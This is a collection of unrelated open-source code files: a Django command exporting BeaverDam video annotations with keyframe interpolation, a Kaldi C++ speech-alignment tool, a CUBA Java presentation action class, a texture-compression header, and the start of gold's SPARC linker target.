this script also creates dense annotations, i.e interpolates between keyframes. To do so, the
FPS of the video is required, which can be deduced automatically by video probing (requires ffmpeg).
python manage.py export_annotations
Will create JSON annotation files for each video that has annotations. Use `--filter-` arguments
to limit the number of matching video files. For example
python manage.py export_annotations --filter-ids 1 5 --filter-verified
would limit export to videos 1 and 5 if they are verified.
A note on dense annotations: Dense annotations will be created between the first and last keyframe.
Between keyframes linear interpolation is used to advance bounding rectangle information. State
information is always copied from the earlier of two keyframes involved in interpolation.
Interpolation will be replaced by a direct keyframe copy if the keyframe timestamp is within `eps` of
the current timestamp.
'''
def add_arguments(self, parser):
parser.add_argument('--fps', type=float, help='Number of frames / second. If omitted, video will be probed for fps.')
parser.add_argument('--out-dir', help='Output directory', default='./exported_annotations')
parser.add_argument('--out-use-filename', action='store_true', help='Use filename property instead of video id when exporting.')
parser.add_argument('--field', help='JSON field name to hold dense annotations', default='frames')
parser.add_argument('--eps', type=float, help='Approximate key frame matching threshold. If omitted will computed based on fps.')
parser.add_argument('--filter-ids', type=int, nargs='+', help='Only export these video ids.')
parser.add_argument('--filter-verified', action='store_true', help='Only export verified annotations.')
parser.add_argument('--sparse', action='store_true', help='Do not create dense annotations.')
parser.add_argument('--probe-seconds', type=int, help='Limit video probing to first n seconds of video.', default=2)
def handle(self, *args, **options):
os.makedirs(options['out_dir'], exist_ok=True)
# Filter videos
filter_set = Video.objects.filter(annotation__gt='')
if options['filter_ids']:
filter_set &= Video.objects.filter(id__in=options['filter_ids'])
if options['filter_verified']:
filter_set &= Video.objects.filter(verified=True)
print('Found {} videos matching filter query'.format(len(filter_set)))
for vid in filter_set:
print('Processing video {}'.format(vid))
self.export_annotations(vid, options)
def export_annotations(self, video, options):
content = json.loads(video.annotation)
if not options['sparse']:
fps = options['fps']
if fps is None:
print('--Probing video {}'.format(video.id))
fps = self.probe_video(video, probesecs=options['probe_seconds'])
if fps is None:
print('--Failed to probe.')
return
print('--Estimated fps {:.2f}'.format(fps))
eps = options['eps']
if eps is None:
eps = (1 / fps) * 0.5
print('--Computing eps as {:.2f}'.format(eps))
for obj in content:
frames = self.create_dense_annotations(obj, eps, fps)
obj[options['field']] = frames
print('--Created {} dense annotations for object {}'.format(len(frames), obj['id']))
filename = str(video.id) + '.json'
if options['out_use_filename'] and len(video.filename) > 0:
filename = str(video.filename) + '.json'
outpath = os.path.normpath(os.path.join(options['out_dir'], filename))
with open(outpath, 'w') as fh:
json.dump(content, fh, indent=4)
print('--Saved annotations to {}'.format(outpath))
def probe_video(self, video, probesecs):
'''Probe video file or image directory for FPS and number of frames.'''
url = video.url
if url == 'Image List':
return 1 # 1 FPS
else:
ROOT = os.path.join(os.path.dirname(__file__), '..', '..', '..')
cmd = [
'ffprobe',
'-hide_banner',
'-print_format', 'json',
'-read_intervals', '%+{}'.format(probesecs),
'-show_streams',
'-count_frames',
'-select_streams', 'v:0'
]
if not url.startswith('http'):
# Local file path, relative to serving directory
url = os.path.normpath(os.path.join(ROOT, 'annotator', url.strip('/')))
else:
# Timeout for reaching remote file
cmd.extend(['-timeout', str(int(5e6))])
cmd.extend(['-i', url])
try:
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
if p.returncode != 0:
print('--Failed to probe video with error {}'.format(err))
return None
content = json.loads(out.decode('utf-8'))
stream = content['streams'][0]
return eval(stream['r_frame_rate'])
except FileNotFoundError:
print('--Failed to find `ffprobe`. Make sure to have `ffmpeg` in your PATH.')
return None
def create_dense_annotations(self, obj, eps, fps):
'''Creates dense annotations for a BeaverDam JSON object.
Dense annotations will be created between the first and last keyframe.
Between keyframes linear interpolation is used to advance bounding rectangle
information. State information is always copied from the earlier of two
keyframes involved in interpolation. Interpolation will be replaced by a
direct keyframe copy if the keyframe timestamp is within `eps` of
the current timestamp.
The following information is stored within generated annotations:
- `frameid` : Zero based frame index.
- `frame`: timestamp of current frame, computed as `framerate * frameid`.
- `state`: State set during labeling. See BeaverDam documentation.
- `x,y,w,h`: Bounds information.
- `refid`: Keyframe reference index if direct keyframe copy is applied.
'''
keyframes = sorted(obj['keyframes'], key=lambda x: x['frame'])
newframes = []
if len(keyframes) == 0:
return newframes
framerate = 1. / fps
fidx = int(math.floor(keyframes[0]['frame'] / framerate))
knext = 0
while knext < len(keyframes):
tnext = keyframes[knext]['frame']
t = fidx * framerate
td = tnext - t
isinrange = abs(td) <= eps
if isinrange:
frame = dict(keyframes[knext])
frame['frame'] = t
frame['frameid'] = fidx
frame['refid'] = knext
newframes.append(frame)
elif knext > 0:
kprev = knext - 1
frac = (t - keyframes[kprev]['frame']) / (tnext - keyframes[kprev]['frame'])
closer = kprev if frac <= 0.5 else knext
b = self.interpolate(
self.bounds_from_json(keyframes[kprev]),
self.bounds_from_json(keyframes[knext]),
frac)
frame = dict(keyframes[closer])
frame['frame'] = t
frame['state'] = keyframes[kprev]['state']
frame['frameid'] = fidx
frame.update(self.bounds_to_json(b))
newframes.append(frame)
if t + framerate > tnext:
knext += 1
fidx += 1
return newframes
def bounds_from_json(self, e):
'''Reads bounds from BeaverDam JSON.'''
return [e['x'], e['x'] + e['w'], e['y'], e['y'] + e['h']]
def bounds_to_json(self, b):
'''Converts array format to BeaverDam JSON.'''
return {'x' : b[0], 'y' : b[2], 'w' : b[1] - b[0], 'h' : b[3] - b[2]}
def interpolate(self, src, dst, frac):
'''Linear interpolation of rectangles.'''
ifrac = 1.0 - frac
return [s*ifrac + d*frac for s,d in zip(src, dst)]
| 2,763 |
336 | <gh_stars>100-1000
// Copyright 2009-2012 Microsoft Corporation
// 2012-2015 Johns Hopkins University (Author: <NAME>)
// 2018 <NAME>
//
// See ../../COPYING for clarification regarding multiple authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// THIS CODE IS PROVIDED *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED
// WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
// MERCHANTABLITY OR NON-INFRINGEMENT.
// See the Apache 2 License for the specific language governing permissions and
// limitations under the License.
#include <regex>
#include <algorithm>
#include <sstream>
#include <iomanip>
#include <map>
#include <fst/util.h>
#include <boost/locale/encoding_utf.hpp>
#include "base/kaldi-common.h"
#include "util/common-utils.h"
#include "feat/feature-mfcc.h"
#include "feat/pitch-functions.h"
#include "feat/wave-reader.h"
#include "transform/cmvn.h"
#include "feat/feature-functions.h"
#include "tree/context-dep.h"
#include "hmm/transition-model.h"
#include "fstext/fstext-lib.h"
#include "decoder/training-graph-compiler.h"
#include "gmm/am-diag-gmm.h"
#include "hmm/hmm-utils.h"
#include "decoder/decoder-wrappers.h"
#include "gmm/decodable-am-diag-gmm.h"
namespace kaldi {
using std::vector;
using std::string;
using std::wstring;
using boost::locale::conv::utf_to_utf;
// returns true if successfully appended.
bool AppendFeats(const std::vector<Matrix<BaseFloat> > &in,
const std::string &utt,
int32 tolerance,
Matrix<BaseFloat> *out) {
// Check the lengths
int32 min_len = in[0].NumRows(),
max_len = in[0].NumRows(),
tot_dim = in[0].NumCols();
for (int32 i = 1; i < in.size(); i++) {
int32 len = in[i].NumRows(), dim = in[i].NumCols();
tot_dim += dim;
if(len < min_len) min_len = len;
if(len > max_len) max_len = len;
}
if (max_len - min_len > tolerance || min_len == 0) {
KALDI_WARN << "Length mismatch " << max_len << " vs. " << min_len
<< (utt.empty() ? "" : " for utt ") << utt
<< " exceeds tolerance " << tolerance;
out->Resize(0, 0);
return false;
}
if (max_len - min_len > 0) {
KALDI_VLOG(2) << "Length mismatch " << max_len << " vs. " << min_len
<< (utt.empty() ? "" : " for utt ") << utt
<< " within tolerance " << tolerance;
}
out->Resize(min_len, tot_dim);
int32 dim_offset = 0;
for (const auto i : in) {
int32 this_dim = i.NumCols();
out->Range(0, min_len, dim_offset, this_dim).CopyFromMat(
i.Range(0, min_len, 0, this_dim));
dim_offset += this_dim;
}
return true;
}
bool ReadWordSymbol(const string &filename, std::map<string, int32> &word2id) {
std::ifstream in(filename);
string line;
while (std::getline(in, line)) {
vector<string> items;
std::istringstream iss(line);
for(std::string s; iss >> s; )
items.push_back(s);
KALDI_ASSERT(items.size() == 2);
std::string word = items[0];
int32 id = std::stoi(items[1]);
word2id[word] = id;
}
return true;
}
bool ReadPhoneSymbol(const string &filename, std::map<int32, string> &id2phn) {
std::ifstream in(filename);
string line;
while (std::getline(in, line)) {
vector<string> items;
std::istringstream iss(line);
for(std::string s; iss >> s; )
items.push_back(s);
KALDI_ASSERT(items.size() == 2);
std::string phone = items[0];
int32 id = std::stoi(items[1]);
id2phn[id] = phone;
}
return true;
}
std::wstring s2ws(const std::string &str) {
return utf_to_utf<wchar_t>(str.c_str(), str.c_str() + str.size());
}
std::string ws2s(const std::wstring &str) {
return utf_to_utf<char>(str.c_str(), str.c_str() + str.size());
}
bool SegWordFMM(std::map<string, int32> &word2id, std::vector<std::string> &strs,
vector<string> &words, vector<int32> &word_ids,
bool text_case_sensitive=false,
bool spell_en_oov=true) {
for (auto str: strs) {
if (!text_case_sensitive) {
transform(str.begin(), str.end(), str.begin(), ::toupper);
}
if (word2id.find(str) != word2id.end()) {
// in dict, just add into results
words.push_back(str);
word_ids.push_back(word2id[str]);
} else {
// use fmm to seg this str
std::wstring sent = s2ws(str);
int maxLength = 20, index = 0, length = sent.size();
while (index < length) {
int wordLen = length - index + 1 >= maxLength ? maxLength : length - index + 1;
while (wordLen >= 1) {
std::wstring cur = sent.substr(index, wordLen);
string curWord = ws2s(cur);
if (std::regex_match(curWord, std::regex("^\\w+$")) && wordLen > 1) { // en
if (word2id.find(curWord) != word2id.end()) { // iv
words.push_back(curWord);
word_ids.push_back(word2id[curWord]);
index += wordLen;
break;
} else { // oov
if (spell_en_oov) {
for (char const &c: curWord) {
words.push_back(string(1, c));
word_ids.push_back(word2id[string(1, c)]);
}
} else {
words.push_back("<UNK>");
word_ids.push_back(word2id["<UNK>"]);
}
index += wordLen;
break;
}
} else if (word2id.find(curWord) != word2id.end()) { // cn-iv
words.push_back(curWord);
word_ids.push_back(word2id[curWord]);
index += wordLen;
break;
} else if (1 == wordLen) { // any 1-char oov
words.push_back("<UNK>");
word_ids.push_back(word2id["<UNK>"]);
index += wordLen;
break;
} else {
wordLen--;
}
}
}
}
}
return true;
}
}
int main(int argc, char *argv[]) {
try {
using namespace kaldi;
typedef kaldi::int32 int32;
using fst::SymbolTable;
using fst::VectorFst;
using fst::StdArc;
const char *usage =
"Get alignments of speech.\n"
"\n"
"Usage: speech-aligner [options...] <wav-rspecifier> <transcriptions-rspecifier> <alignments-wspecifier>\n"
"e.g.: \n"
" speech-aligner wav.scp 'ark:sym2int.pl -f 2- words.txt text|' ark:out.ali";
ParseOptions po(usage);
// feats
MfccOptions mfcc_opts;
bool subtract_mean = false;
BaseFloat vtln_warp = 1.0;
std::string vtln_map_rspecifier;
std::string utt2spk_rspecifier;
int32 channel = -1;
BaseFloat min_duration = 0.0;
mfcc_opts.Register(&po);
PitchExtractionOptions pitch_opts;
ProcessPitchOptions process_opts;
process_opts.Register(&po);
int32 length_tolerance = 0;
bool norm_vars = false;
bool norm_means = true;
DeltaFeaturesOptions delta_opts;
// graph
std::string tree_rxfilename;
std::string model_rxfilename;
std::string lex_rxfilename;
std::string lex_no_opt_sil_rxfilename;
std::string disambig_rxfilename;
std::string word_syms_filename;
TrainingGraphCompilerOptions gopts;
gopts.Register(&po);
// align
AlignConfig align_config;
BaseFloat acoustic_scale = 0.1;
BaseFloat transition_scale = 1.0;
BaseFloat self_loop_scale = 0.1;
BaseFloat boost_sil = 1.0;
align_config.Register(&po);
bool text_case_sensitive = false;
bool spell_en_oov = true;
bool opt_sil = true;
bool per_frame = false;
bool write_lengths = false;
bool ctm_output = false;
bool custom_output = true;
bool mlf_output = false;
BaseFloat frame_shift = 0.005;
std::string phone_syms_filename;
// Register the options
// feats
po.Register("subtract-mean", &subtract_mean, "Subtract mean of each "
"feature file [CMS]; not recommended to do it this way. ");
po.Register("vtln-warp", &vtln_warp, "Vtln warp factor (only applicable "
"if vtln-map not specified)");
po.Register("vtln-map", &vtln_map_rspecifier, "Map from utterance or "
"speaker-id to vtln warp factor (rspecifier)");
po.Register("utt2spk", &utt2spk_rspecifier, "Utterance to speaker-id map "
"rspecifier (if doing VTLN and you have warps per speaker)");
po.Register("channel", &channel, "Channel to extract (-1 -> expect mono, "
"0 -> left, 1 -> right)");
po.Register("min-duration", &min_duration, "Minimum duration of segments "
"to process (in seconds).");
po.Register("length-tolerance", &length_tolerance,
"If length is different, trim as shortest up to a frame "
" difference of length-tolerance, otherwise exclude segment.");
po.Register("norm-vars", &norm_vars, "If true, normalize variances.");
po.Register("norm-means", &norm_means, "You can set this to false to turn off mean "
"normalization. Note, the same can be achieved by using 'fake' CMVN stats; "
"see the --fake option to compute_cmvn_stats.sh");
// graph
po.Register("tree-rxfilename", &tree_rxfilename, "tree");
po.Register("model-rxfilename", &model_rxfilename, "model");
po.Register("lex-rxfilename", &lex_rxfilename, "lexicon");
po.Register("lex-no-opt-sil-rxfilename", &lex_no_opt_sil_rxfilename, "lexicon without optional sil");
po.Register("read-disambig-syms", &disambig_rxfilename, "File containing "
"list of disambiguation symbols in phone symbol table");
po.Register("word-symbol-table", &word_syms_filename,
"Symbol table for words");
// align
po.Register("acoustic-scale", &acoustic_scale,
"Scaling factor for acoustic likelihoods");
po.Register("boost-sil", &boost_sil, "Factor by which to boost silence probs");
po.Register("ctm-output", &ctm_output,
"If true, output the alignments in ctm format "
"(the confidences will be set to 1)");
po.Register("per-frame", &per_frame,
"If true, write out the frame-level phone alignment "
"(else phone sequence)");
po.Register("write-lengths", &write_lengths,
"If true, write the #frames for each phone (different format)");
po.Register("phone-symbol-table", &phone_syms_filename,
"Symbol table for phones");
po.Register("text-case-sensitive", &text_case_sensitive,
"If true, distinguish lower and upper words in text");
po.Register("spell-en-oov", &spell_en_oov,
"If true, for english oov words, make its pronouciation with each letters");
po.Register("opt-sil", &opt_sil,
"If true, use lexicon fst that with optional sil");
po.Register("custom-output", &custom_output,
"If true, output in the custom format");
po.Register("mlf-output", &mlf_output,
"If true, output in the custom format");
po.Read(argc, argv);
if (po.NumArgs() != 3) {
po.PrintUsage();
exit(1);
}
// feats
std::string wav_rspecifier = po.GetArg(1);
if (wav_rspecifier.substr(0, 3) != "scp:") {
wav_rspecifier = "scp:" + wav_rspecifier;
}
Mfcc mfcc(mfcc_opts);
pitch_opts.frame_shift_ms = mfcc_opts.frame_opts.frame_shift_ms;
SequentialTableReader<WaveHolder> wav_reader(wav_rspecifier);
BaseFloatMatrixWriter kaldi_writer; // typedef to TableWriter<something>.
TableWriter<HtkMatrixHolder> htk_writer;
if (!utt2spk_rspecifier.empty())
KALDI_ASSERT(!vtln_map_rspecifier.empty() && "the utt2spk option is only "
"needed if the vtln-map option is used.");
RandomAccessBaseFloatReaderMapped vtln_map_reader(vtln_map_rspecifier,
utt2spk_rspecifier);
if (norm_vars && !norm_means)
KALDI_ERR << "You cannot normalize the variance but not the mean.";
// graph
std::string trans_file = po.GetArg(2);
ContextDependency ctx_dep; // the tree.
ReadKaldiObject(tree_rxfilename, &ctx_dep);
TransitionModel trans_model;
ReadKaldiObject(model_rxfilename, &trans_model);
// need VectorFst because we will change it by adding subseq symbol.
VectorFst<StdArc> *lex_fst;
if (opt_sil) {
lex_fst = fst::ReadFstKaldi(lex_rxfilename);
} else {
lex_fst = fst::ReadFstKaldi(lex_no_opt_sil_rxfilename);
}
std::vector<int32> disambig_syms;
if (!disambig_rxfilename.empty())
if (!ReadIntegerVectorSimple(disambig_rxfilename, &disambig_syms))
KALDI_ERR << "fstcomposecontext: Could not read disambiguation symbols from "
<< disambig_rxfilename;
gopts.transition_scale = 0.0; // Change the default to 0.0 since we will generally add the
// transition probs in the alignment phase (since they change eacm time)
gopts.self_loop_scale = 0.0; // Ditto for self-loop probs.
TrainingGraphCompiler gc(trans_model, ctx_dep, lex_fst, disambig_syms, gopts);
lex_fst = nullptr; // we gave ownership to gc.
std::ifstream trans_text(trans_file);
// align
std::string alignment_wspecifier = po.GetArg(3);
AmDiagGmm am_gmm;
{
bool binary;
Input ki(model_rxfilename, &binary);
trans_model.Read(ki.Stream(), binary);
am_gmm.Read(ki.Stream(), binary);
}
std::vector<int32> silence_phones = {1};
if (boost_sil != 1.0) { // Do the modification to the am_gmm object.
std::vector<int32> pdfs;
bool ans = GetPdfsForPhones(trans_model, silence_phones, &pdfs);
if (!ans) {
KALDI_WARN << "The pdfs for the silence phones may be shared by other phones "
<< "(note: this probably does not matter.)";
}
for (size_t i = 0; i < pdfs.size(); i++) {
int32 pdf = pdfs[i];
DiagGmm &gmm = am_gmm.GetPdf(pdf);
Vector<BaseFloat> weights(gmm.weights());
weights.Scale(boost_sil);
gmm.SetWeights(weights);
gmm.ComputeGconsts();
}
KALDI_LOG << "Boosted weights for " << pdfs.size()
<< " pdfs, by factor of " << boost_sil;
}
std::map<std::string, int32> word2id;
ReadWordSymbol(word_syms_filename, word2id);
std::map<int32, std::string> id2phone;
ReadPhoneSymbol(phone_syms_filename, id2phone);
std::string empty;
Int32VectorWriter phones_writer(custom_output || mlf_output || ctm_output ? empty :
(write_lengths ? empty : alignment_wspecifier));
Int32PairVectorWriter pair_writer(custom_output || mlf_output || ctm_output ? empty :
(write_lengths ? alignment_wspecifier : empty));
std::ofstream output(alignment_wspecifier);
std::string ctm_wxfilename(ctm_output ? po.GetArg(3) : empty);
Output ctm_writer(ctm_wxfilename, false);
if (ctm_output) {
ctm_writer.Stream() << std::fixed;
ctm_writer.Stream().precision(frame_shift >= 0.01 ? 2 : 3);
}
int32 num_utts = 0, num_success = 0, num_err = 0, num_retry = 0;
double tot_like = 0.0;
kaldi::int64 frame_count = 0;
std::string line;
for (; !wav_reader.Done(); wav_reader.Next()) {
num_utts++;
std::string utt = wav_reader.Key();
KALDI_LOG << utt;
std::getline(trans_text, line);
KALDI_ASSERT(!line.empty() && "key of text files is not equal that of wav files");
std::vector<std::string> items;
std::istringstream iss(line);
for(std::string s; iss >> s; )
items.push_back(s);
KALDI_ASSERT(items.size() >= 2 && "transcript is empty");
KALDI_ASSERT(utt == items[0] && "wav and text key is not equal");
items.erase(items.begin());
std::vector<std::string> words;
std::vector<int32> word_ids;
SegWordFMM(word2id, items, words, word_ids, text_case_sensitive, spell_en_oov);
// feats
const WaveData &wave_data = wav_reader.Value();
if (wave_data.Duration() < min_duration) {
KALDI_WARN << "File: " << utt << " is too short ("
<< wave_data.Duration() << " sec): producing no output.";
num_err++;
continue;
}
int32 num_chan = wave_data.Data().NumRows(), this_chan = channel;
{ // This block works out the channel (0=left, 1=right...)
KALDI_ASSERT(num_chan > 0); // should have been caught in
// reading code if no channels.
if (channel == -1) {
this_chan = 0;
if (num_chan != 1)
KALDI_WARN << "Channel not specified but you have data with "
<< num_chan << " channels; defaulting to zero";
} else {
if (this_chan >= num_chan) {
KALDI_WARN << "File with id " << utt << " has "
<< num_chan << " channels but you specified channel "
<< channel << ", producing no output.";
num_err++;
continue;
}
}
}
BaseFloat vtln_warp_local; // Work out VTLN warp factor.
if (!vtln_map_rspecifier.empty()) {
if (!vtln_map_reader.HasKey(utt)) {
KALDI_WARN << "No vtln-map entry for utterance-id (or speaker-id) "
<< utt;
num_err++;
continue;
}
vtln_warp_local = vtln_map_reader.Value(utt);
} else {
vtln_warp_local = vtln_warp;
}
SubVector<BaseFloat> waveform(wave_data.Data(), this_chan);
Matrix<BaseFloat> mfcc_feat;
/// mfcc
try {
mfcc.ComputeFeatures(waveform, wave_data.SampFreq(), vtln_warp_local, &mfcc_feat);
} catch (...) {
KALDI_WARN << "Failed to compute features for utterance "
<< utt;
num_err++;
continue;
}
if (subtract_mean) {
Vector<BaseFloat> mean(mfcc_feat.NumCols());
mean.AddRowSumMat(1.0, mfcc_feat);
mean.Scale(1.0f / mfcc_feat.NumRows());
for (int32 i = 0; i < mfcc_feat.NumRows(); i++)
mfcc_feat.Row(i).AddVec(-1.0f, mean);
}
/// pitch
if (pitch_opts.samp_freq != wave_data.SampFreq())
KALDI_ERR << "Sample frequency mismatch: you specified "
<< pitch_opts.samp_freq << " but data has "
<< wave_data.SampFreq() << " (use --sample-frequency "
<< "option). Utterance is " << utt;
Matrix<BaseFloat> base_feats;
try {
Matrix<BaseFloat> pitch;
ComputeKaldiPitch(pitch_opts, waveform, &pitch);
Matrix<BaseFloat> processed_pitch(pitch);
ProcessPitch(process_opts, pitch, &processed_pitch);
std::vector<Matrix<BaseFloat> > feats(2);
feats[0] = mfcc_feat;
feats[1] = processed_pitch;
Matrix<BaseFloat> output;
if (!AppendFeats(feats, utt, length_tolerance, &base_feats)) {
KALDI_WARN << "Failed to combine mfcc and pitch for utterance "
<< utt;
num_err++;
continue; // it will have printed a warning.
}
} catch (...) {
KALDI_WARN << "Failed to compute pitch for utterance "
<< utt;
num_err++;
continue;
}
Matrix<double> cmvn_stats;
Matrix<BaseFloat> features;
InitCmvnStats(base_feats.NumCols(), &cmvn_stats);
AccCmvnStats(base_feats, nullptr, &cmvn_stats);
ApplyCmvn(cmvn_stats, norm_vars, &base_feats);
ComputeDeltas(delta_opts, base_feats, &features);
//graph, decode_fst
VectorFst<StdArc> decode_fst;
if (!gc.CompileGraphFromText(word_ids, &decode_fst)) {
decode_fst.DeleteStates(); // Just make it empty.
}
if (decode_fst.Start() == fst::kNoStateId) {
KALDI_WARN << "Empty decoding graph for utterance "
<< utt;
num_err++;
continue;
}
KALDI_VLOG(2) << "compile-train-graphs: succeeded for " << num_success
<< " graphs, failed for " << num_err;
// align,
if (features.NumRows() == 0) {
KALDI_WARN << "Zero-length utterance: " << utt;
num_err++;
continue;
}
{ // Add transition-probs to the FST.
std::vector<int32> disambig_syms_empty; // empty.
AddTransitionProbs(trans_model, disambig_syms_empty,
transition_scale, self_loop_scale,
&decode_fst);
}
DecodableAmDiagGmmScaled gmm_decodable(am_gmm, trans_model, features,
acoustic_scale);
std::vector<int32> alignment;
Vector<BaseFloat> per_frame_acwt;
BaseFloat score;
AlignOneUtteranceWrapper(align_config, utt,
acoustic_scale, &decode_fst, &gmm_decodable,
alignment, &score,
&num_success, &num_err, &num_retry,
&tot_like, &frame_count, &per_frame_acwt);
if (!alignment.empty()) {
std::vector<std::vector<int32> > split;
SplitToPhones(trans_model, alignment, &split);
if (custom_output) {
float st = 0.0, et = 0.0;
output << utt << std::endl;
for (size_t i = 0; i < split.size(); i++) {
KALDI_ASSERT(!split[i].empty());
int32 phone_id = trans_model.TransitionIdToPhone(split[i][0]);
std::string phone = id2phone[phone_id];
int32 num_repeats = split[i].size();
//KALDI_ASSERT(num_repeats!=0);
st = et;
et += num_repeats * frame_shift;
output << std::fixed << std::setprecision(3) << st << " " << et << " " << phone << std::endl;
}
output << "." << std::endl;
} else if (mlf_output) {
int st = 0, et = 0;
if (num_utts == 1) {
output << "#!MLF!#" << std::endl;
}
output << "\"*/" << utt << ".lab\"" << std::endl;
for (size_t i = 0; i < split.size(); i++) {
KALDI_ASSERT(!split[i].empty());
int32 phone_id = trans_model.TransitionIdToPhone(split[i][0]);
std::string phone = id2phone[phone_id];
int32 num_pdf_class_frames = 0;
int32 last_pdf_class = -1;
for (size_t j = 0; j < split[i].size(); ++j) {
int32 trans_id = split[i][j];
int32 cur_pdf_class = trans_model.TransitionIdToPdfClass(trans_id);
if (last_pdf_class != cur_pdf_class) {
if (num_pdf_class_frames > 0) {
et += num_pdf_class_frames * round(frame_shift * 1e3) * 1e4;
output << st << " " << et << " s" << last_pdf_class + 2;
if (last_pdf_class == 0) {
output << " " << phone << std::endl;
} else {
output << std::endl;
}
st = et;
num_pdf_class_frames = 0;
}
last_pdf_class = cur_pdf_class;
}
++num_pdf_class_frames;
}
et += num_pdf_class_frames * round(frame_shift * 1e3) * 1e4;
output << st << " " << et << " s" << last_pdf_class + 2 << std::endl;
st = et;
}
output << "." << std::endl;
} else if (ctm_output) {
BaseFloat phone_start = 0.0;
for (size_t i = 0; i < split.size(); i++) {
KALDI_ASSERT(!split[i].empty());
int32 phone = trans_model.TransitionIdToPhone(split[i][0]);
int32 num_repeats = split[i].size();
ctm_writer.Stream() << utt << " 1 " << phone_start << " "
<< (frame_shift * num_repeats) << " " << phone << std::endl;
phone_start += frame_shift * num_repeats;
}
} else if (!write_lengths) {
std::vector<int32> phones;
for (size_t i = 0; i < split.size(); i++) {
KALDI_ASSERT(!split[i].empty());
int32 phone = trans_model.TransitionIdToPhone(split[i][0]);
int32 num_repeats = split[i].size();
//KALDI_ASSERT(num_repeats!=0);
if (per_frame)
for(int32 j = 0; j < num_repeats; j++)
phones.push_back(phone);
else
phones.push_back(phone);
}
phones_writer.Write(utt, phones);
} else {
std::vector<std::pair<int32, int32> > pairs;
for (size_t i = 0; i < split.size(); i++) {
KALDI_ASSERT(!split[i].empty());
int32 phone = trans_model.TransitionIdToPhone(split[i][0]);
int32 num_repeats = split[i].size();
//KALDI_ASSERT(num_repeats!=0);
pairs.push_back(std::make_pair(phone, num_repeats));
}
pair_writer.Write(utt, pairs);
}
}
if (num_utts % 10 == 0)
KALDI_LOG << "Processed " << num_utts << " utterances";
KALDI_VLOG(2) << "Processed features for key " << utt;
}
trans_text.close();
output.close();
KALDI_LOG << " Done " << num_success << " out of " << num_utts
<< " utterances.";
return (num_success != 0 ? 0 : 1);
} catch(const std::exception &e) {
std::cerr << e.what();
return -1;
}
}
| 12,420 |
1,337 | <filename>modules/web/src/com/haulmont/cuba/web/gui/components/presentations/actions/AbstractPresentationAction.java
/*
* Copyright (c) 2008-2016 Haulmont.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package com.haulmont.cuba.web.gui.components.presentations.actions;
import com.haulmont.cuba.gui.components.AbstractAction;
import com.haulmont.cuba.gui.components.Table;
import com.haulmont.cuba.web.gui.components.WebComponentsHelper;
import com.haulmont.cuba.web.widgets.CubaEnhancedTable;
public abstract class AbstractPresentationAction extends AbstractAction {
protected Table table;
protected CubaEnhancedTable tableImpl;
public AbstractPresentationAction(Table table, String id) {
super(id);
this.table = table;
this.tableImpl = (CubaEnhancedTable) WebComponentsHelper.unwrap(table);
}
} | 408 |
531 | <reponame>intensifier/NeoAxisEngine<filename>Sources/Engine/External/NvidiaTextureTools/src/nvtt/SingleColorLookup.h
#include "nvcore/nvcore.h" // uint8
extern uint8 OMatch5[256][2];
extern uint8 OMatch6[256][2];
extern uint8 OMatchAlpha5[256][2];
extern uint8 OMatchAlpha6[256][2];
void initSingleColorLookup(); | 119 |
432 | <reponame>lambdaxymox/DragonFlyBSD
// sparc.cc -- sparc target support for gold.
// Copyright (C) 2008-2016 Free Software Foundation, Inc.
// Written by <NAME> <<EMAIL>>.
// This file is part of gold.
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston,
// MA 02110-1301, USA.
#include "gold.h"
#include <cstdlib>
#include <cstdio>
#include <cstring>
#include "elfcpp.h"
#include "parameters.h"
#include "reloc.h"
#include "sparc.h"
#include "object.h"
#include "symtab.h"
#include "layout.h"
#include "output.h"
#include "copy-relocs.h"
#include "target.h"
#include "target-reloc.h"
#include "target-select.h"
#include "tls.h"
#include "errors.h"
#include "gc.h"
namespace
{
using namespace gold;
template<int size, bool big_endian>
class Output_data_plt_sparc;
template<int size, bool big_endian>
class Target_sparc : public Sized_target<size, big_endian>
{
public:
typedef Output_data_reloc<elfcpp::SHT_RELA, true, size, big_endian> Reloc_section;
Target_sparc()
: Sized_target<size, big_endian>(&sparc_info),
got_(NULL), plt_(NULL), rela_dyn_(NULL), rela_ifunc_(NULL),
copy_relocs_(elfcpp::R_SPARC_COPY),
got_mod_index_offset_(-1U), tls_get_addr_sym_(NULL),
elf_machine_(sparc_info.machine_code), elf_flags_(0),
elf_flags_set_(false), register_syms_()
{
}
// Make a new symbol table entry.
Sized_symbol<size>*
make_symbol(const char*, elfcpp::STT, Object*, unsigned int, uint64_t);
// Process the relocations to determine unreferenced sections for
// garbage collection.
void
gc_process_relocs(Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
size_t local_symbol_count,
const unsigned char* plocal_symbols);
// Scan the relocations to look for symbol adjustments.
void
scan_relocs(Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
size_t local_symbol_count,
const unsigned char* plocal_symbols);
// Finalize the sections.
void
do_finalize_sections(Layout*, const Input_objects*, Symbol_table*);
